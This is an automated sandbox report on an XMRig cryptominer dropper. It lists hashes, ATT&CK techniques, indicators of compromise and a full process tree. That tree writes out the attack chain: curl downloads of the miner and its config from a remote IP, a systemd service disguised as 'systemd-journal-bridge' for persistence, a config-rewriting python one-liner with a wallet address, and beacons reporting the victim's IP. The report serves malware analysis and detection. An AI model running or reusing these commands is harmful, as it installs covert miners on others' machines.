xmrig | 482ce2cc1231f144f138819f6bd7d3c80be98b9f3eae2ffaa5c2ac68cb935452

Analysis

max time kernel
38s
max time network
39s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
26/10/2026, 23:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
482ce2cc1231f144f138819f6bd7d3c80be98b9f3eae2ffaa5c2ac68cb935452
Size 3KB
Sample261026-29atmshs4t
SHA256 482ce2cc1231f144f138819f6bd7d3c80be98b9f3eae2ffaa5c2ac68cb935452
MD5 3908d026ac1f9085be8828010688d0a7
SHA1 ba31c92ca619b37e804c5a13345fa42c8bdb5095
SHA512 1541308742a461bfac059ede96cdbbbbe1ae27dae3c2c9f0c0dd85c93e257095cc9c2d0962cd3ad7e00408944e2f71acef725a68ff970885589829cc56b830a3
TLSH
T1F151C560A6F57830FB0380689B17C250BB003937599AB2B8B1ECD910F7E9041E239F7D
MD5 SHA1 SHA512 TLSH

Score

10^/10

antivm defense_evasion discovery xmrig miner persistence privilege_escalation

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xmrig
behavioral2/files/fstream-1.dat	xmrig

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
758	chmod

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/systemd-journal-bridge.service	482ce2cc1231f144f138819f6bd7d3c80be98b9f3eae2ffaa5c2ac68cb935452

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 2 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep

Enumerates kernel/hardware configuration 1 TTPs 4 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/cgroup/memory.max	python3
File opened for reading	/sys/fs/cgroup/memory/memory.limit_in_bytes	python3
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/107/cmdline	pgrep
File opened for reading	/proc/584/status	pgrep
File opened for reading	/proc/642/cmdline	pgrep
File opened for reading	/proc/641/comm	grep
File opened for reading	/proc/810/status	pgrep
File opened for reading	/proc/6/status	pgrep
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/74/status	pgrep
File opened for reading	/proc/104/cmdline	pgrep
File opened for reading	/proc/11/cmdline	pgrep
File opened for reading	/proc/16/cmdline	pgrep
File opened for reading	/proc/24/status	pgrep
File opened for reading	/proc/224/cmdline	pgrep
File opened for reading	/proc/284/cmdline	pgrep
File opened for reading	/proc/15/cmdline	pgrep
File opened for reading	/proc/309/cmdline	pgrep
File opened for reading	/proc/633/cmdline	pgrep
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/1/cmdline	pgrep
File opened for reading	/proc/23/status	pgrep
File opened for reading	/proc/2/cmdline	pgrep
File opened for reading	/proc/14/status	pgrep
File opened for reading	/proc/42/cmdline	pgrep
File opened for reading	/proc/633/status	pgrep
File opened for reading	/proc/7/comm	grep
File opened for reading	/proc/21/cmdline	pgrep
File opened for reading	/proc/14/cmdline	pgrep
File opened for reading	/proc/28/cmdline	pgrep
File opened for reading	/proc/19/comm	grep
File opened for reading	/proc/3/cmdline	pgrep
File opened for reading	/proc/8/cmdline	pgrep
File opened for reading	/proc/24/cmdline	pgrep
File opened for reading	/proc/26/cmdline	pgrep
File opened for reading	/proc/95/status	pgrep
File opened for reading	/proc/138/status	pgrep
File opened for reading	/proc/643/comm	grep
File opened for reading	/proc/7/status	pgrep
File opened for reading	/proc/12/status	pgrep
File opened for reading	/proc/305/cmdline	pgrep
File opened for reading	/proc/27/status	pgrep
File opened for reading	/proc/7/cmdline	pgrep
File opened for reading	/proc/95/status	pgrep
File opened for reading	/proc/635/cmdline	pgrep
File opened for reading	/proc/8/comm	grep
File opened for reading	/proc/12/cmdline	pgrep
File opened for reading	/proc/17/cmdline	pgrep
File opened for reading	/proc/319/cmdline	pgrep
File opened for reading	/proc/565/cmdline	pgrep
File opened for reading	/proc/580/cmdline	pgrep
File opened for reading	/proc/21/status	pgrep
File opened for reading	/proc/134/cmdline	pgrep
File opened for reading	/proc/301/status	pgrep
File opened for reading	/proc/304/cmdline	pgrep
File opened for reading	/proc/106/comm	grep
File opened for reading	/proc/11/comm	grep
File opened for reading	/proc/138/comm	grep
File opened for reading	/proc/301/cmdline	pgrep
File opened for reading	/proc/309/comm	grep
File opened for reading	/proc/9/comm	grep
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/138/cmdline	pgrep
File opened for reading	/proc/585/status	pgrep
File opened for reading	/proc/9/status	pgrep
File opened for reading	/proc/16/status	pgrep

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
755	python3

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sh-thd.8htq6h	482ce2cc1231f144f138819f6bd7d3c80be98b9f3eae2ffaa5c2ac68cb935452

/tmp/482ce2cc1231f144f138819f6bd7d3c80be98b9f3eae2ffaa5c2ac68cb935452
/tmp/482ce2cc1231f144f138819f6bd7d3c80be98b9f3eae2ffaa5c2ac68cb935452
1⤵
- Modifies systemd
- Writes file to tmp directory
PID:643
- /bin/uname
  uname -m
  2⤵
  PID:647
- /usr/bin/pgrep
  pgrep -f /usr/lib/systemd/systemd-journal-bridge
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:650
- /bin/grep
  grep -q systemd-journal-bridge /proc/104/comm /proc/106/comm /proc/107/comm /proc/10/comm /proc/11/comm /proc/12/comm /proc/134/comm /proc/136/comm /proc/138/comm /proc/13/comm /proc/14/comm /proc/157/comm /proc/15/comm /proc/166/comm /proc/167/comm /proc/16/comm /proc/17/comm /proc/18/comm /proc/19/comm /proc/1/comm /proc/20/comm /proc/21/comm /proc/224/comm /proc/22/comm /proc/23/comm /proc/24/comm /proc/25/comm /proc/26/comm /proc/27/comm /proc/284/comm /proc/28/comm /proc/292/comm /proc/29/comm /proc/2/comm /proc/301/comm /proc/302/comm /proc/304/comm /proc/305/comm /proc/309/comm /proc/319/comm /proc/321/comm /proc/3/comm /proc/41/comm /proc/42/comm /proc/43/comm /proc/4/comm /proc/565/comm /proc/577/comm /proc/580/comm /proc/584/comm /proc/585/comm /proc/5/comm /proc/627/comm /proc/633/comm /proc/635/comm /proc/640/comm /proc/641/comm /proc/642/comm /proc/643/comm /proc/646/comm /proc/656/comm /proc/664/comm /proc/6/comm /proc/74/comm /proc/7/comm /proc/8/comm /proc/95/comm /proc/9/comm /proc/self/comm /proc/thread-self/comm
  2⤵
  - Reads runtime system information
  PID:665
- /bin/mkdir
  mkdir -p /usr/lib/systemd
  2⤵
  PID:667
- /usr/bin/curl
  curl -s -o ./systemd-journal-bridge http://167.17.180.101:8080/systemd-journal-bridge
  2⤵
  - Checks CPU configuration
  PID:669
- /bin/hostname
  hostname -I
  2⤵
  PID:747
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:748
- /usr/bin/tr
  tr . -
  2⤵
  PID:753
- /usr/bin/curl
  curl -s http://167.17.180.101:8080/config.json
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:754
- /usr/bin/python3
  python3 -c " import json,sys c=json.load(sys.stdin) c['pools'][0]['rig-id']=sys.argv[1] c['pools'][0]['user']=sys.argv[2]+'.'+sys.argv[1] # adaptive: fast mode only if this box (or its cgroup) really has >=3GB RAM. mem=0 for p in ('/sys/fs/cgroup/memory.max','/sys/fs/cgroup/memory/memory.limit_in_bytes'): try: v=open(p).read().strip() if v.isdigit() and int(v) < (1<<50): mem=int(v)//(1024*1024) break except Exception: pass if mem==0: try: for l in open('/proc/meminfo'): if l.startswith('MemTotal'): mem=int(l.split()[1])//1024 break except Exception: pass if mem>=3000: c['randomx']['mode']='fast' c['cpu']={'threads':1} # fast mode needs 2.5GB per thread: 1 thread only else: c['randomx']['mode']='light' print(json.dumps(c)) " VICTIM_10-127-0-159 44e7oLGjPwj14qxHaezKUJXiXsLqtoZrwRtTrsNa99sMfo6QsXSZv7q99VG4dAbm9v9LKnFtcYGnNN3n2BjGsCtr89Xg8Ar
  2⤵
  - Enumerates kernel/hardware configuration
  - System Network Configuration Discovery
  PID:755
- /bin/chmod
  chmod +x ./systemd-journal-bridge
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /bin/cat
  cat
  2⤵
  PID:759
- /bin/systemctl
  systemctl daemon-reload
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:760
- /bin/systemctl
  systemctl enable --now systemd-journal-bridge.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:773
- /usr/bin/curl
  curl -s -m 5 "http://167.17.180.101:8080/report?10.127.0.159"
  2⤵
  - Checks CPU configuration
  PID:790
- /bin/sleep
  sleep 30
  2⤵
  PID:791
- /usr/bin/pgrep
  pgrep -f /usr/lib/systemd/systemd-journal-bridge
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:814
- /usr/bin/tr
  tr -c "a-zA-Z0-9 .:-" _
  2⤵
  PID:817
- /usr/bin/cut
  cut -c1-60
  2⤵
  PID:818
- /usr/bin/tail
  tail -1 /tmp/m.log
  2⤵
  PID:816
- /usr/bin/wget
  wget -q -O /dev/null -T 5 "http://167.17.180.101:8080/report?MINERERR_10.127.0.159_"
  2⤵
  PID:819

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

sh-thd.8htq6h

Path /tmp/sh-thd.8htq6h
Size 243B
SHA256 a81d979975332ccb7dfd664699d1fc2e58f17d83cf75fc2fc4f702897b306478
MD5 dacac2ea6da65f8ad1d02390b2eb39d3
SHA1 5612003d8eff88d215a21baafece29e17f22cbe3
SHA512 fdbe0864f8ef1dd8c0dd5071b3f19c32f2fba1ec4d00560f2abbe88f4c6f1517ea88e1ceccdb01daf02caab3587f9561ee2ecba32160408163b6512fb58939c7
TLSH
T1BED09731BFA464B4910238F18D107B04C010310DDE9DF230BFC00486E1D082AD032D35
MD5 SHA1 SHA512 TLSH

Submit Download

bridge.conf

Path /usr/lib/systemd/bridge.conf
Size 482B
SHA256 f2e43114e1252ffb9d54d9cef67db8635e17c1e2aaa2154a070d687d9e7be367
MD5 c0e8c9369e9f40c5f05b04260b8ff249
SHA1 48c0c1e424019617395052e29ccec9c76a998620
SHA512 f02f1a39c3c4997779dcff0a5f705348a38802d142e9b6e28aa9f7e332a773c30111a5bd296b5b017f91c2ef05bdedde59a97c02af30e934c1ff949b406bf595
TLSH
T1A0F09E22AC2B15F77171DC8C127628937F24357540848EB243B2F850A74C72AA61668E
MD5 SHA1 SHA512 TLSH

Submit Download

systemd-journal-bridge

Path /usr/lib/systemd/systemd-journal-bridge
Size 8.0MB
SHA256 b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49
MD5 e1b3e738928012a07dfce8659b3ff31d
SHA1 c9bb4fc8eadaad35e50de087e3bbd5969cb2df2f
SHA512 cb8b152ebecad5cffdc635ee9ba7e7b3007772b16088aa48e1374e1230db52ae0f2b135369085e6c64a9e61821244b7b0fa2cb13d7fd48af1668c9133d942835
SSDEEP 98304:YSKSi/FM70AF/Auk3zX0H6aguAcFZqKjjMRPEkLqm7XyGkNA4xT0+x2gGYwZsVZ2:ssQLqmjsxymsONkEZqIzolQdo
TLSH
T17E865B47B6E318FDC19AC470472FD663BD70B8984221797B7698AA302F67E205B1DF21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads